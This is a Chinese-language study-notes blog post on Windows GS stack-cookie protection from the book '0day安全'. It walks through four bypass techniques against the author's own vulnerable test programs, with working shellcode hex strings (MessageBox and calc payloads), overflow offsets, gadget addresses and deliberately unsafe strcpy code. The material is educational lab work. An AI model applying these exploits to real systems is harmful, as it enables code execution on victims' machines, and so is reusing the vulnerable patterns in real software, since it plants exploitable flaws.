0day安全 | Chapter 10 栈中的守护天使:GS
启程
那时我们有梦,关于文学,关于爱情,关于穿越世界的旅行。
在我的印象里,Linux上的GS就非常难bypass,现在终于可以学习一下Windows上的GS了!
GS安全编译选项的保护原理
在Visual Studio 2003及之后的版本中GS编译被默认启用。我们后面使用的环境是Visual Studio 2008
,看一下设置页面:
GS为每个函数调用增加了一些额外的数据和操作,来检测栈溢出:
- 函数调用发生时,向栈帧内压入一个随机DWORD,即
canary
。其在IDA中被标注为Security Cookie
- Security Cookie位于
EBP
之前,同时系统会在.data
区域存放一个Security Cookie的副本 - 如果栈中发生溢出,则canary在EBP和返回地址之前首先被淹没
- 在函数返回前,会执行canary安全检查:将栈中canary与
.data
中的副本比对,如果不一致,则进入异常处理流程
比如下面这个例子:
其对应的.data
区副本:
canary的比对:
GS会导致性能下降。所以编译器对函数的GS添加操作是有条件的。以下情况不会添加GS:
- 函数无缓冲区
- 函数被定义为具有变量参数列表
- 函数使用无保护关键字标记
- 函数在第一个语句中包含内联汇编
- 缓冲区不是8字节类型且大小不大于4字节
从Vsiual Studio 2005 SP1
起,可以通过在函数前添加标识来强制启用GS:
#pragma strict_gs_check(on)
另外,从Vsiual Studio 2005
起,变量重排技术也被应用。即,将字符串变量移动到栈的高地址,从而防止它溢出其他的局部变量。同时还将指针参数和字符串参数复制到内存的低地址,防止函数参数被破坏。
可以对比一下有无GS的区别:
测试函数如下:
int foo(char *arg)
{
char buf[10];
int i;
strcpy(buf, arg);
return 0;
}
应用GS后:
也就是:
这样看来,我这里的情况和作者的还不太一样。不过可以看出,i
被canary保护起来了,而arg
也被做备份了。
在1998年,Crispin Cowan等人发表了一篇Stack Guard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks,讲述了用于gcc的stack guard技术(有10名作者在那篇优秀的文章中署名)。微软的技术就是在吸收了stack guard思想后独立开发出来的。
Stack Guard: Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks
Canary产生细节
- 系统以
.data
节的第一个双字作为Cookie种子 - 每次程序运行时Cookie种子都不同
- 在栈帧初始化后用EBP异或种子,作为当前函数的Cookie
- 在函数返回前,用EBP还原出Cookie种子
目前,在程序运行时预测出Cookie并突破基本上不可能。
它的特点如下:
- 修改栈帧中返回地址的经典攻击被GS有效遏制
- 基于改写函数指针的攻击很难被GS防御
- 针对异常处理的攻击很难被GS防御
- 堆溢出很难被GS防御(它专注于防御栈溢出)
2003年9月8日,David Litchfield发表了Defeating the Stack Based Buffer Overflow Prevention Mechanism of Microsoft Windows 2003 Server,其中列举了若干突破GS的方法,并对GS机制做出了改进建议。
另外,我发现citeseerx.ist.psu.edu用来找安全文献相当方便!
之后的实验中,我们要关闭编译优化:
利用未被保护的内存突破GS
这个思路很好理解,因为我们在上一节中指出,由于GS会影响性能,所以它只有在函数满足一定条件时才会被添加。因此即使某个程序在编译时开启了GS选项,我们依然可以寻找其中那些不满足GS条件,但是依然有缓冲区的函数,比如:
#include <string.h>
int vulfunction(char *str)
{
char arr[4];
strcpy(arr, str);
return 1;
}
int main(int argc, char **argv)
{
char *str = "yeah, the function is without GS";
vulfunction(str);
return 0;
}
由于vulfunction
不包含4字节以上的缓冲区,所以它没有被添加GS,即使GS开启。可以通过IDA验证这一点:
如果直接运行程序,会告诉我们异常:
用VS调试:
可以发现,0x75662065
正是字符串e fu
,这说明返回地址成功被覆盖。
这个思路虽然简单,但也许在关键时刻很有用哦!
覆盖虚函数突破GS
在我的VS 2008中,如果使用strcpy
会报警告:
warning C4996: ‘strcpy’: This function or variable may be unsafe. Consider using strcpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
可以通过如下设置解决:
本次测试的漏洞代码如下:
#include <string.h>
#include <stdio.h>
class GSVirtual{
public:
void gsv(char *src)
{
char buf[200];
strcpy(buf, src);
vir();
}
virtual void vir()
{
printf("vir\n");
}
};
int main()
{
GSVirtual test;
test.gsv(
"\x90..."
);
return 0;
}
可以看到,在gsv
中存在栈溢出,同时也会有GS保护。但是,在gsv
的最后,它调用了虚函数vir
,这样一来,虚表的地址必然在它的栈帧附近,我们可以通过buf
的溢出覆盖虚表,从而劫持控制流。关于劫持虚表的攻击,参照”0day安全 Chapter 6 形形色色的内存攻击技术”。以上就是整个思路。
首先,我们用Ollydbg调试程序,看一下相关信息:
我们得到以下信息:
- main函数传递给
test.gsv
的实参地址是0x00402108
- buf缓冲区首地址是
0x0012FE9C
,但是我们要知道,栈上的地址可能是不固定的 - 虚表指针位于栈上
0x0012FF78
处,它指向0x004021EC
处的虚表 - 调用虚函数的操作实际就是去虚表取虚函数指针,然后call的过程,在上图中反汇编窗口的最下方:
我们发现0x0012FF78 - 0x0012FE9C = 220
,这意味着我们填入缓冲区的内容超过220个字节后将覆盖虚表指针。这样就可以做劫持虚表的攻击。我们可以把虚表伪造在buf的开头,即把0x0012FF78
处的虚表指针改写为0x00402108
(在作者的环境中,main函数传递过去的实参地址是0x00402100
,所以他只需要把原来的虚表指针的低位字节用shellcode最后的尾零覆盖掉即可,但我的环境中main函数传递过去的是0x00402108
,因此我只能够完全覆盖原来的虚表指针)。
OK,第一个环节搞定。回头看我们得到的第四点信息:虚函数的调用最终以call eax
形式出现,这意味着我们要找到一个跳板地址放在shellcode的开头,让call
那个跳板后跳回我们的shellcode。现在的问题是,我们的原始参数(即main传过去的实参)本身并不在栈中,而且通过调试可以发现,当call eax
的时候,也没有寄存器指向原始参数。所以普通的跳板失效。
后来更新-开始
其实在我这里,普通跳板是有效的!
为什么呢?回顾之前虚函数的调用过程:
可以发现在取指针的过程中用到了edx
作为中间人。所以在call eax
时,edx
依然指向原始参数(我不是很清楚为什么作者那里EDX没有指向原始参数的首地址)。因此,我们完全可以找一个jmp edx
:
仍然需要注意地址被当作指令执行时影响shellcode的问题。选一个合适的跳板地址就好。
这样也可以攻击成功,只不过shellcode执行流程与后面的流程图描述的不一样了。
后来更新-结束
但是,此时已经完成了字符串复制,我们的shellcode已经被复制到了栈上。我们执行到call eax
前看一下栈(下图右下方):
可以发现,在0x0012FE8C
处存储着buf首地址,而这个位置刚好是ESP + 4
!所以我们可以凭借在ROP技术中使用的PPR(pop pop ret
)操作来达到跳转到buf首地址执行的目的:想象一下,当执行call eax
后,返回地址被压栈,导致ESP减4,所以0x0012FE8C
就变成了ESP - 8
的位置。然后经过两次pop
操作,ESP就指向了0x0012FE8C
,这时一个ret
就可以顺利回到buf首执行。
我们利用OllyFindAddr
在内存中搜索一个PPR,有很多结果:
这里我选择0x7c921d04
处的:
需要注意的是,这个地址首先会被当作跳板使用,但是当EIP回到buf首再次执行的时候,这个数字就被当作了指令。或许需要通过多次调试,你才能从上述众多结果中找到一个被当作指令时不会影响shellcode效果的PPR地址。
最后就是填上shellcode了。如前所述,我们总共可以使用的空间是220,这里我选用”0day安全 Chapter 3 开发shellcode的艺术”给出的通用弹窗shellcode,它是168字节,加上开头的PPR地址4字节,是172字节,所以我们还需要48个nop做填充,然后跟上main传过去的实参
的地址0x00402108
(最后高位的\x00
用字符串尾零就好)。
shellcode的构成及攻击流程示意如下:
最终shellcode:
// pop pop ret
"\x04\x1d\x92\x7c"
// messagebox
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8"
// nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// shellcode in .data (0x00402108)
"\x08\x21\x40"
测试:
这种攻击方式的思想是:以优先取胜。是的,我是把栈帧覆盖掉了,我也知道当函数返回时我的行为就会被发现并阻止。但是我不仅覆盖掉了栈帧,我还覆盖掉了虚函数表指针,而那个指针在你(当前函数GS机制)发现我的行为之前就会被调用。这样一来,当前函数实际上并不会正常返回,GS机制也就拿我没有办法了。
需要注意的是,本节只是演示了一种攻击可能性,真实的环境中未必有这么多可以利用的地方,还是要因地制宜,需要动脑筋的!
攻击异常处理突破GS
GS没有为SEH提供保护,所以我们可以通过劫持SEH来控制程序流程。为了避免SafeSEH的影响,我们在Windows 2000
上使用Visual Studio 2005
来做实验(这也表明这种方法在之后会受到限制,未来需要同时绕过多种漏洞缓解措施)(依然要禁用编译优化,同样使用release
版本)。
思路是:我们通过超长字符串覆盖掉异常处理函数指针,然后想办法触发一个异常。这样一来,就可以在程序进行cookie检查前劫持控制流。
测试代码:
#include <stdio.h>
#include <string.h>
char shellcode[] = "\x90...";
void test(char *input)
{
char buf[200];
strcpy(buf, input);
//__asm INT 3
strcat(buf, input);
}
int main(int argc, char* argv[])
{
test(shellcode);
return 0;
}
test
函数存在栈溢出,另外由于strcpy
的溢出覆盖了strcat
input
参数的地址,所以会导致strcat
从非法地址读取数据,继而引发异常,转入异常处理。
可以看到,的确开启了GS:
其实攻击就是普通的SEH攻击,可以参考”0day安全 Chapter 6 形形色色的内存攻击技术”。
首先下__asm INT 3
然后attach
调试,查看SEH,把shellcode起始地址到栈顶异常处理函数的偏移量算清楚,然后就是攻击了。比较简单,不再多说:
shellcode:
// nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// calc
"\x31\xc9\xb1\xbc\xe8\xff\xff\xff\xff\xc1\x5e\x30\x4c\x0e\x07"
"\xe2\xfa\xfd\xea\x81\x04\x05\x06\x67\x81\xec\x3b\xcb\x68\x86"
"\x5e\x3f\x9b\x43\x1e\x98\x46\x01\x9d\x65\x30\x16\xad\x51\x3a"
"\x2c\xe1\xb3\x1c\x40\x5e\x21\x08\x05\xe7\xe8\x25\x28\xed\xc9"
"\xde\x7f\x79\xa4\x62\x21\xb9\x79\x08\xbe\x7a\x26\x40\xda\x72"
"\x3a\xed\x6c\xb5\x66\x60\x40\x91\xc8\x0d\x5d\xa5\x7d\x01\xc2"
"\x7e\xc0\x4d\x9b\x7f\xb0\xfc\x90\x9d\x5e\x55\x92\x6e\xb7\x2d"
"\xaf\x59\x26\xa4\x66\x23\x7b\x15\x85\x3a\xe8\x3c\x41\x67\xb4"
"\x0e\xe2\x66\x20\xe7\x35\x72\x6e\xa3\xfa\x76\xf8\x75\xa5\xff"
"\x33\x5c\x5d\x21\x20\x1d\x24\x24\x2e\x7f\x61\xdd\xdc\xde\x0e"
"\x94\x6c\x05\xd4\xe0\x8a\x01\x08\x3c\x8f\x90\x91\xc2\xfb\xa5"
"\x1e\xf9\x10\x67\x4c\x21\x6b\x29\x3f\xc8\xf7\x06\x34\x1f\x3e"
"\x5b\x70\x9a\xa1\xd4\xa3\x2a\x50\x4c\xd8\xab\x14\xf7\xa2\xc0"
"\xdc\xde\xb5\xe5\x48\x6d\xda\xdb\xd7\xdf\xbd"
// shellcode_addr
"\xa0\xfe\x12";
这里使用的是shellcode的绝对地址0x0012FEA0
,其实这样是不够优雅的(如果有一些跳板就好了,但是在异常发生时似乎也没有寄存器直接指向shellcode)。
测试:
同时替换栈中和.data中的Cookie突破GS
正面突破GS的思路有两个:
- 猜测cookie
- 同时替换栈中和
.data
中的cookie
目前来说,第一种没有可行性。但是在特定环境下我们可以尝试第二种。当然,我们目前是针对单一技术的学习,所以不要考虑DEP/ASLR等无关紧要的东西。学习要一步一步来。
测试环境:Windows XP / Visual Studio 2008 / 禁用优化 / 开启GS / release版本。
测试代码:
#include <string.h>
#include <stdlib.h>
char shellcode[] = "\x90...";
void test(char *s, int i, char *src)
{
char dest[200];
if(i < 0x9995){
char *buf = s + i;
*buf = *src;
*(buf + 1) = *(src + 1);
*(buf + 2) = *(src + 2);
*(buf + 3) = *(src + 3);
strcpy(dest, src);
}
}
void main()
{
char *str = (char *)malloc(0x10000);
test(str, 0xFFFF2FB8, shellcode);
}
test
函数存在字符串数组溢出,同时i
缺失单向范围限制(没有限制i > 0
)。在这种特定环境下,我们可以通过if
代码段内的四个赋值操作去修改.data
区cookie,使用strcpy
去修改栈上的cookie。
通过调试发现:
malloc返回的堆空间起始地址为0x00410048
,而.data
区的cookie位于0x00403000
:
即malloc返回的地址在cookie之上。同时test
没有对i
进行非负数限制,所以我们可以通过向test
函数传入一个负值使得堆空间str
的前4个字节被赋值给.data
区的cookie,从而达到改写cookie的目的。0x00403000 - 0x00410048 = -53320 = 0xFFFF2FB8
,所以我们给test
传入这个负数差值。
我们知道,栈上的cookie是从.data
区取出,然后与当前ebp
做一次异或,再存入ebp -4
的地方。我们希望把.data
区的cookie设置为0x90909090
,那么在栈上就应该放置0x90909090 ^ ebp
,通过调试可以发现ebp是0x0012FF64
。
之后就是老套路了,放入一个弹窗shellcode,把各种填充和偏移都布置好。最终的shellcode构成及攻击示意:
图中黑色箭头为栈增长方向。
shellcode如下:
// cookie
"\x90\x90\x90\x90"
// messagebox
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x2d\x6a\x6f\x62\x68\x67\x6f\x6f\x64\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8"
// nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
// 0x90909090 ^ ebp
"\xf4\x6f\x82\x90"
// overwrite ebp
"\x90\x90\x90\x90"
// overwrite ret (ret to shellcode_addr)
"\x94\xfe\x12";
测试:
再次说明:这里边用到了太多的绝对地址和数值(如ebp),所以这只是一个PoC,证明这种技术这种思想是可行的。
总结
本章介绍了GS的原理以及四种特定情形下突破GS的方式。
GS已经很厉害了,给缓冲区溢出增加了很大的难度。未来可以研究一下Linux下GS的原理和绕过方式。
另外,如果有格式化字符串漏洞的话是不是也可以把cookie给泄露出来?